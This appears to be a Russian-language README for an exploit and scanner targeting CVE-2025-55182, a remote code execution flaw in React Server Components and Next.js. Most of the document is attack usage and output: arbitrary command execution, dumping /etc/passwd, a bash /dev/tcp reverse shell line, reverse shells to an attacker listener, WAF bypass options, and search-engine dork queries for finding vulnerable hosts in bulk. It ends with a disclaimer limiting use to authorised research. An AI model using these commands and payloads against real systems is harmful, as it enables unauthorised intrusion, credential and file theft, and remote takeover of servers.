
CVE-2025-55182 – уязвимость удаленного выполнения кода (RCE) в серверах Next.js/React RSC (эксплойт и сканер)
Этот инструмент предназначен для исследователей безопасности и пентестеров, чтобы обнаруживать и эксплуатировать уязвимость CVE-2025-55182 в приложениях Next.js/React RSC. Он предоставляет несколько режимов сканирования, функции эксплуатации и техники обхода WAF.
rce, safe и vercel_bypass режимами.| Категория | Информация |
|---|---|
| Опубликовано | 2025-12-03 |
| Базовая оценка | 10.0 (КРИТИЧЕСКИЙ) |
| Исследователь | Lachlan Davidson (https://github.com/lachlan2k) |
| Вектор | CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H |
| Описание | Критическая уязвимость удаленного выполнения кода (RCE) в компонентах сервера React. Приложения, использующие серверную среду выполнения React, включая такие фреймворки, как Next.js, затронуты. Проблема вызвана небезопасной десериализацией ненадежных данных протокола "Flight", что позволяет злоумышленнику добиться выполнения кода на сервере без аутентификации. Требуется обновление до исправленных версий React и фреймворков. |
| Оценка EPSS | 27.81% (Вероятность эксплуатации) |
| Каталог CISA KEV | Включено: Да, Рынсомвары: Неизвестно |
| Hacktivity HackerOne | Ранг: 1, Отчеты: 92 |
| Приоритет исправления | A+ |
Эта уязвимость затрагивает следующие версии React Server Components:
Следующие пакеты также затронуты:
react-server-dom-parcelreact-server-dom-turbopackreact-server-dom-webpackgit clone https://github.com/l0n3m4n/CVE-2025-55182.git cd CVE-2025-55182
python3 -m venv venv-55182 source venv-55182/bin/activate
pip install -r requirements.txt
## использование```bash
❯ python3 CVE-2025-55182.py -h
__________ __ ________ _________.__ .__ .__
\______ \ ____ _____ _____/ |_\_____ \ / _____/| |__ ____ | | | |
| _// __ \\__ \ _/ ___\ __\/ ____/ \_____ \ | | \_/ __ \| | | |
| | \ ___/ / __ \\ \___| | / \ / \| Y \ ___/| |_| |__
|____|_ /\___ >____ /\___ >__| \_______ \/_______ /|___| /\___ >____/____/
\/ \/ \/ \/ \/ \/ \/ \/
Author: l0n3m4n | CVE-2025-55182 | Next.js/React RSC Scanner & Exploit
usage: CVE-2025-55182.py [-h] (-u URL | -f FILE) [-c COMMAND] [-p PAYLOAD] [-r LHOST:LPORT] [-sm MODE]
[-wb] [-wbs KB] [-wbu] [-o FILE] [-t NUM] [-T SEC] [-P URL] [-H HEADER] [-v]
Powerful all-in-one tool (scan and exploit) CVE-2025-55182 in Next.js applications
options:
-h, --help show this help message and exit
-u, --url URL Single URL to scan or exploit.
-f, --file FILE File containing a list of URLs to scan/exploit.
Exploitation Options:
-c, --command COMMAND Command to execute on the target(s).
-p, --payloads PAYLOAD Custom payload to execute on the target(s). Can be a string or a
file path.
-r, --reverse-shell LHOST:LPORT Attempt a reverse shell.
Scanning Options:
-sm, --scan-mode MODE Scanning technique. Choices: {rce, safe, vercel_bypass}. (default:
rce)
-wb, --waf-bypass Add junk data to the request to bypass WAFs.
-wbs, --waf-bypass-size KB Size of junk data in KB (default: 128).
-wbu, --waf-bypass-utf16le Use UTF-16LE encoding to bypass WAFs.
General Options:
-o, --output FILE File to save vulnerable URLs from scans.
-t, --threads NUM Number of concurrent threads (default: 10).
-T, --timeout SEC Request timeout in seconds (default: 10).
-P, --proxy URL Proxy to use (e.g., http://127.0.0.1:8080).
-H, --header HEADER Add custom headers (e.g., 'Cookie: session=...').
-v, --verbose Enable verbose output for success/failed/non-vulnerable checks.
rce (по умолчанию): Активный режим сканирования, выполняет echo-команду для подтверждения уязвимости. Это наиболее надежный метод, но он может оставлять логи в целевой системе.safe: Режим сканирования по побочному каналу, не выполняет команды. Проверяет наличие определенного сообщения об ошибке (E{"digest"), чтобы определить, является ли цель уязвимой. Этот режим безопаснее, чем rce, но может быть менее надежным.vercel_bypass: Использует определенный пэйлоад для обхода WAF Vercel и проверяет вывод команды в заголовке X-Action-Redirect.автор @coffinxp7
python3 CVE-2025-55182.py -u http://target.com
safe mode and 20 threadspython3 CVE-2025-55182.py -f urls.txt -sm safe -t 20
python3 CVE-2025-55182.py -f urls.txt -sm vercel_bypass -o vulnerable.txt
### Эксплуатация```bash
# Execute a command on a single target
python3 CVE-2025-55182.py -u http://target.com -c "cat /etc/passwd"
# Use WAF bypass techniques
python3 CVE-2025-55182.py -u http://target.com -c "whoami" -wb
# Use a custom payload string
python3 CVE-2025-55182.py -u http://target.com -p "bash -i >& /dev/tcp/LHOST/LPORT 0>&1"
# Use a custom payload from a file (windows target)
python3 CVE-2025-55182.py -u http://target.com -p windows_revshell.sh
# Get a reverse shell (linux default reverse shell)
python3 CVE-2025-55182.py -u http://target.com -r 10.10.10.1:4444
# Get a reverse shell using a payload file (linux target)
python3 CVE-2025-55182.py -u http://target.com -p linux_revshell.sh
# Force a windows reverse shell payload if auto-detection fails
python3 CVE-2025-55182.py -u http://target.com -r 10.10.10.1:4444 --os windows
# Intercept in Burpsuite
python3 CVE-2025-55182.py -u http://target.com -wbu -P http://127.0.0.1:8080
$ python3 CVE-2025-55182.py -u http://target.com
```bash
__________ __ ________ _________.__ .__ .__
\______ \ ____ _____ _____/ |_\[_____ \ / _____/| |__ ____ | | | |
| _// __ \__ \ _/ ___ __\/ ____/ \_____ \ | | \/ __ \| | | |
| | \ ___/ / __ \\ \___| | / \ / \| Y \ ___\| |_| |__
|____|_ /\___ >____ /\___ >__| \_______ \/_______ /|___| /\___ >____/____/
\/ \/ \/ \/ \/ \/ \/ \/
Author: l0n3m4n | CVE-2025-55182 | Next.js/React RSC Scanner & Exploit
[+] VULNERABLE: http://target.com (Mode: rce)
$ python3 CVE-2025-55182.py -u http://target.com -v
```bash
__________ __ ________ _________.__ .__ .__
\______ \ ____ _____ _____/ |_\_____ \ / _____/| |__ ____ | | | |
| _// __ \\__ \ _/ ___\ __\/ ____/ \_____ \ | | \_/ __ \| | | |
| | \ ___/ / __ \\ \___| | / \ / \| Y \ ___/| |_| |__
|____|_ /\___ >____ /\___ >__| \_______ \/_______ /|___| /\___ >____/____/
\/ \/ \/ \/ \/ \/ \/ \/
Author: l0n3m4n | CVE-2025-55182 | Next.js/React RSC Scanner & Exploit
[+] VULNERABLE: http://target.com - Status: 500 (Mode: rce) (OS: Linux, Web Server: nginx/1.29.3)
Target Information:
Detected OS: Linux
Server Software: next.js
Content Type: text/html; charset=utf-8
System Time: Sat, 06 Dec 2025 19:59:32 GMT
Response snippet:
HTTP/1.1 500 Internal Server Error
Date: Sat, 06 Dec 2025 19:59:32 GMT
Content-Type: text/html; charset=utf-8
Content-Length: 4615
Connection: keep-alive
X-Powered-By: Next.js
ETag: W/"1207-I2098797987"
Vary: RSC, Next-Router-State-Tree
$ python3 CVE-2025-55182.py -u http://target.com -v
__________ __ ________ _________.__ .__ .__
\______ \ ____ _____ _____/ |_\_____ \ / _____/| |__ ____ | | | |
| _// __ \\__ \ _/ ___\ __\/ ____/ \_____ \ | | \_/ __ \| | | |
| | \ ___/ / __ \\ \___| | / \ / \| Y \ ___/| |_| |__
|____|_ /\___ >____ /\___ >__| \_______ \/_______ /|___| /\___ >____/____/
\/ \/ \/ \/ \/ \/ \/ \/
Author: l0n3m4n | CVE-2025-55182 | Next.js/React RSC Scanner & Exploit
[-] NOT VULNERABLE: https://tryhackme.com
[*] Verbose output for https://tryhackme.com:
Target Information:
Detected OS: Unknown
Server Software: cloudflare
Content Type: text/html; charset=UTF-8
System Time: Sat, 06 Dec 2025 19:59:32 GMT
Status Code: 500
Response Headers:
Date: Sat, 06 Dec 2025 19:59:32 GMT
Content-Type: text/html; charset=UTF-8
Content-Length: 4615
Connection: keep-alive
Cache-Control: private, max-age=0, no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Expires: Thu, 01 Jan 1970 00:00:01 GMT
Referrer-Policy: same-origin
X-Frame-Options: SAMEORIGIN
Server: cloudflare
CF-RAY: 9a9e5d42b96204be-HKG
Response Body (first 500 chars):
<!DOCTYPE html>
<!--[if lt IE 7]> <html class="no-js ie6 oldie" lang="en-US"> <![endif]-->
<!--[if IE 7]> <html class="no-js ie7 oldie" lang="en-US"> <![endif]-->
<!--[if IE 8]> <html class="no-js ie8 oldie" lang="en-US"> <![endif]-->
<!--[if gt IE 8]><!--> <html class="no-js" lang="en-US"> <!--<![endif]-->
<head>
<title>Worker threw exception | tryhackme.com | Cloudflare</title>
<meta charset="UTF-8" />
<meta http-equiv="Content-Type" content="text/html; charset=UTF-8" />
<meta http-equiv
$ python3 CVE-2025-55182.py -u http://target.com -c "whoami && echo "" && cat /etc/passwd"
```bash
__________ __ ________ _________.__ .__ .__
\______ \ ____ _____ _____/ |_\_____ \ / _____/| |__ ____ | | | |
| _// __ \\__ \ _/ ___\ __\/ ____/ \_____ \ | | \_/ __ \| | | |
| | \ ___/ / __ \\ \___| | / \ / \| Y \ ___/| |_| |__
|____|_ /\___ >____ /\___ >__| \_______ \/_______ /|___| /\___ >____/____/
\/ \/ \/ \/ \/ \/ \/ \/
Author: l0n3m4n | CVE-2025-55182 | Next.js/React RSC Scanner & Exploit
[*] Exploiting: https://target.com with command: whoami && echo "" && cat /etc/passwd
[+] COMMAND EXECUTED SUCCESSFULLY - Status: 500
----------------------------------------
nextjs
root:x:0:0:root:/root:/bin/sh
bin:x:1:1:bin:/bin:/sbin/nologin
daemon:x:2:2:daemon:/sbin:/sbin/nologin
lp:x:4:7:lp:/var/spool/lpd:/sbin/nologin
sync:x:5:0:sync:/sbin:/bin/sync
shutdown:x:6:0:shutdown:/sbin:/sbin/shutdown
halt:x:7:0:halt:/sbin:/sbin/halt
mail:x:8:12:mail:/var/mail:/sbin/nologin
news:x:9:13:news:/usr/lib/news:/sbin/nologin
uucp:x:10:14:uucp:/var/spool/uucppublic:/sbin/nologin
cron:x:16:16:cron:/var/spool/cron:/sbin/nologin
sshd:x:22:22:sshd:/dev/null:/sbin/nologin
games:x:35:35:games:/usr/games:/sbin/nologin
ntp:x:123:123:NTP:/var/empty:/sbin/nologin
guest:x:405:100:guest:/dev/null:/sbin/nologin
nobody:x:65534:65534:nobody:/:/sbin/nologin
nextjs:x:1001:65533::/home/nextjs:/sbin/nologin
----------------------------------------
$ python3 CVE-2025-55182.py -u http://target.com -r 10.10.10.1:4444 -v
```bash
__________ __ ________ _________.__ .__ .__
\______ \ ____ _____ _____/ |_\_____ \ / _____/| |__ ____ | | | |
| _// __ \\__ \ _/ ___\ __\/ ____/ \_____ \ | | \_/ __ \| | | |
| | \ ___/ / __ \\ \___| | / \ / \| Y \ ___/| |_| |__
|____|_ /\___ >____ /\___ >__| \_______ \/_______ /|___| /\___ >____/____/
\/ \/ \/ \/ \/ \/ \/ \/
Author: l0n3m4n | CVE-2025-55182 | Next.js/React RSC Scanner & Exploit
[*] Attempting reverse shell to 10.10.10.1:4444 from http://target.com
[*] Detected OS: Linux
[*] Using Linux (bash) reverse shell payload.
[*] Please start your listener, e.g., nc -lvnp 4444
[*] Payload sent. Check your listener.
$ python3 CVE-2025-55182.py -u http://windows-target.com -r 10.10.10.1:4444 -v
__________ __ ________ _________.__ .__ .__
\______ \ ____ _____ _____/ |_\_____ \ / _____/| |__ ____ | | | |
| _// __ \\__ \ _/ ___\ __\/ ____/ \_____ \ | | \_/ __ \| | | |
| | \ ___/ / __ \\ \___| | / \ / \| Y \ ___/| |_| |__
|____|_ /\___ >____ /\___ >__| \_______ \/_______ /|___| /\___ >____/____/
\/ \/ \/ \/ \/ \/ \/ \/
Author: l0n3m4n | CVE-2025-55182 | Next.js/React RSC Scanner & Exploit
[*] Attempting reverse shell to 10.10.10.1:4444 from http://windows-target.com
[*] Detected OS: Windows
[*] Using Windows (powershell) reverse shell payload.
[*] Please start your listener, e.g., nc -lvnp 4444
[*] Payload sent. Check your listener.
❯ python3 CVE-2025-55182.py -u http://target.com/apps -c "id && ls -al" -wbu
__________ __ ________ . . .
___ \ ____ _____ / |_ \ / /| | ____ | | | |
| // __ \ \ / \ / / _ \ | | _/ __ | | | |
| | \ / / __ \ _| | / \ / | Y \ /| || |
|| /_ > /___ >| _____ /_______ /|| /_ >_/__/
/ / / / / / / /
Author: l0n3m4n | CVE-2025-55182 | Next.js/React RSC Scanner & Exploit

### Сетевая ошибка```bash
python3 CVE-2025-55182.py -u http://target.com:3000 -c "id" -v
__________ __ ________ _________.__ .__ .__
\______ \ ____ _____ _____/ |_\_____ \ / _____/| |__ ____ | | | |
| _// __ \\__ \ _/ ___\ __\/ ____/ \_____ \ | | \_/ __ \| | | |
| | \ ___/ / __ \\ \___| | / \ / \| Y \ ___/| |_| |__
|____|_ /\___ >____ /\___ >__| \_______ \/_______ /|___| /\___ >____/____/
\/ \/ \/ \/ \/ \/ \/ \/
Author: l0n3m4n | CVE-2025-55182 | Next.js/React RSC Scanner & Exploit
[*] Exploiting: http://target.com:3000 with command: id
[-] FAILED TO EXECUTE COMMAND
[*] Verbose output for http://target.com:3000:
Status Code: -1
Response Headers:
(No headers received)
Response Body (first 200 chars):
An error occurred: HTTPConnectionPool(host='target.com', port=3000): Max retries exceeded with url: / (Caused by ConnectTimeoutError(<urllib3.connection.HTTPConnection object at 0x7f846d6caa50>, 'Co
Инструмент поставляется с готовыми полезными нагрузками для обратных оболочек для Linux и Windows.
linux_revshell.sh: Bash обратная оболочка.windows_revshell.ps1: PowerShell обратная оболочка.http.component:"next.js"http.favicon.hash:-1766382332 (иконка Vercel)"x-powered-by: Next.js"((Next.js) and services.software.product="Next.js") and services.port=3000services.http.response.body: "_next/static"host.services.endpoints.http.headers:(key:"Vary" and value:"RSC, Next-Router-State-Tree")inurl:"/_next/static"intitle:"Next.js"site:com intitle:"Next.js"inurl:.com ("Next.js" OR "React")site:com ("Next.js" OR "_next/static")site:gov.cc ("Next.js" OR "React")site:com ("/_next/static" OR "/static/js")site:com ("React error" OR "Next.js error")header:"x-powered-by: Next.js"app:"Next.js"http.body="react.production.min.js" || http.body="React.createElement(" || app="React Router" || app="React.js"vul.cve="CVE-2025-55182"app="NEXT.JS" || app="React.js"Этот инструмент предназначен только для образовательных и исследовательских целей. Не используйте его на любой системе без явного разрешения. Автор не несет ответственности за любой ущерб, причиненный использованием этого инструмента.
PR приветствуются :)